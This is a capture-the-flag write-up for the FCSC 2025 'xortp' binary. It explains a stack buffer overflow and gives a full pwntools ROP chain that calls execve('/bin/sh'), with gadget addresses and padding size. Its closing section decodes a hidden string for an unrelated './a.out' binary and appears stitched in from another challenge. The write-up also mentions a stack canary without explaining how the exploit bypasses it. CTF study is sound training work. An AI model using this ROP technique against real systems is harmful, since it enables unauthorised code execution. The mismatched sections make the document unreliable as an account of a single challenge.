Cybersecurity Notes

FCSC 2025 - xortp

Writeup: xortp

Challenge Overview

This challenge involves exploiting a buffer overflow vulnerability in the “xortp” binary to gain a shell and read the flag. The exploit leverages Return-Oriented Programming (ROP) to bypass modern security protections.

Binary Analysis

The binary has the following protections:

  • Architecture: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: Canary found
  • NX: NX enabled (No execution on stack)
  • PIE: No PIE (fixed base address at 0x400000)
  • Not stripped

The key vulnerability appears to be a buffer overflow that allows overwriting the return address despite stack canaries being enabled.

Vulnerability and Exploitation

The vulnerability is a classic buffer overflow where we can overwrite the return address. Since NX is enabled, we cannot directly execute shellcode on the stack. Instead, we use ROP to chain together existing code fragments (gadgets) to execute a system call.

Exploitation Strategy

  1. Overflow the buffer to control the instruction pointer
  2. Build a ROP chain to execute execve("/bin/sh", 0, 0) syscall
  3. Get a shell and read the flag

🔧 Syscall Calling Convention Reference

ArchitectureSyscall Number RegArgument 1Argument 2Argument 3Argument 4Argument 5Argument 6Return ValueInstruction
x86 (32-bit)eaxebxecxedxesiediebpeaxint 0x80
x86_64raxrdirsirdxr10r8r9raxsyscall
ARM (32-bit)r7r0r1r2r3r4r5r0svc 0
ARM64x8x0x1x2x3x4x5x0svc 0

This table is especially useful in ROP-based attacks where we construct a syscall manually by populating the appropriate registers using gadgets.


ROP Chain Details

Our goal is to execute the execve syscall (syscall number 59) with the following arguments:

  • rdi = pointer to “/bin/sh” string (first argument)
  • rsi = 0 (second argument - argv, set to NULL)
  • rdx = 0 (third argument - envp, set to NULL)
  • rax = 59 (syscall number for execve)

We use the following ROP gadgets:

pop_rdi = 0x0000000000401f60       # Control first argument
pop_rsi = 0x000000000040f972       # Control second argument
pop_rax_rdx_rbx = 0x00000000004867a6  # Control syscall number and third argument
syscall_gadget = 0x00000000004011a2  # Execute the syscall

The string “/bin/sh” was found at address 0x00498213 in the binary.

Buffer Size

The required padding before reaching the return address is 152 bytes.

Exploit Implementation

The exploit script uses pwntools to construct and send the payload:

#!/usr/bin/env python3
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('xortp')

# ROP gadgets
pop_rax = 0x00000000004424f7   
pop_rsi = 0x000000000040f972   
pop_rdi = 0x0000000000401f60   
pop_rax_rdx_rbx = 0x00000000004867a6  
syscall_gadget = 0x00000000004011a2  

addr_bin_sh = 0x00498213          

# Connect to the process
io = process('./xortp')  # or remote("host", port)

# Syscall parameters for execve("/bin/sh", 0, 0)
path = addr_bin_sh    # First argument: path to binary
argv = 0              # Second argument: argument array (NULL)
envp = 0              # Third argument: environment variables (NULL)
syscall_num = 59      # Syscall number for execve

BUFFER = 152  # Size of buffer before return address

# Construct the payload
payload = flat(
    b'A'*BUFFER,      # Padding to reach return address
    p64(pop_rdi),     # Pop path into RDI (first argument)
    p64(path),        # Address of "/bin/sh" string
    p64(pop_rsi),     # Pop 0 into RSI (second argument)
    p64(argv),        # NULL for argv
    p64(pop_rax_rdx_rbx),  # Pop syscall number into RAX and third argument into RDX
    p64(syscall_num), # Syscall number for execve (59)
    p64(envp),        # NULL for envp (third argument)
    p64(0),           # Dummy value for RBX
    p64(syscall_gadget)  # Execute the syscall
)

# Send the payload
io.sendline(payload)
io.sendline("id && cat flag.txt")  # Run commands in the obtained shell
io.interactive()

Execution Flow

  1. We send a payload that fills the buffer with 152 ‘A’s to reach the return address
  2. The ROP chain is executed:
    • pop_rdi gadget pops the address of “/bin/sh” into RDI
    • pop_rsi gadget pops 0 into RSI
    • pop_rax_rdx_rbx gadget pops 59 into RAX (syscall number), 0 into RDX, and a dummy value into RBX
    • syscall_gadget executes the syscall, which runs execve("/bin/sh", 0, 0)
  3. We now have a shell and can read the flag with cat flag.txt

Flag

After gaining the shell, we can read the flag with cat flag.txt command.

String Decoding Solve

This challenge also features a hidden string in the binary, which is simply encoded by decrementing each character by 1. Here is a minimal Python script to recover the solution:

def decode_string():
    encoded = "IUC|t2nqm4`gm5h`5s2uin4u2d~"
    decoded = ""
    for char in encoded:
        decoded += chr(ord(char) - 1)
    print(f"[+] Encoded string: {encoded}")
    print(f"[+] Decoded string: {decoded}")
    return decoded

solution = decode_string()
print("\n[*] To solve the challenge, enter this solution when prompted:")
print(f">>> {solution}")

Exploit steps:

  1. Run the binary: ./a.out
  2. When prompted for the magic incantation, enter the decoded string above.
  3. The flag will be displayed.

Exploit Script (pwntools)

If you want to automate the process using pwntools:

from pwn import *

encoded = "IUC|t2nqm4`gm5h`5s2uin4u2d~"
decoded = ''.join([chr(ord(c)-1) for c in encoded])

p = process('./a.out')
p.recvuntil(b"magic")
p.sendline(decoded.encode())
print(p.recvall().decode())

This script will launch the binary, wait for the prompt, send the decoded string, and print the output (including the flag).

Conclusion

This challenge demonstrates a classic ROP-based exploitation technique to bypass NX protection. By chaining together existing code gadgets, we can execute arbitrary system calls without injecting executable code onto the stack.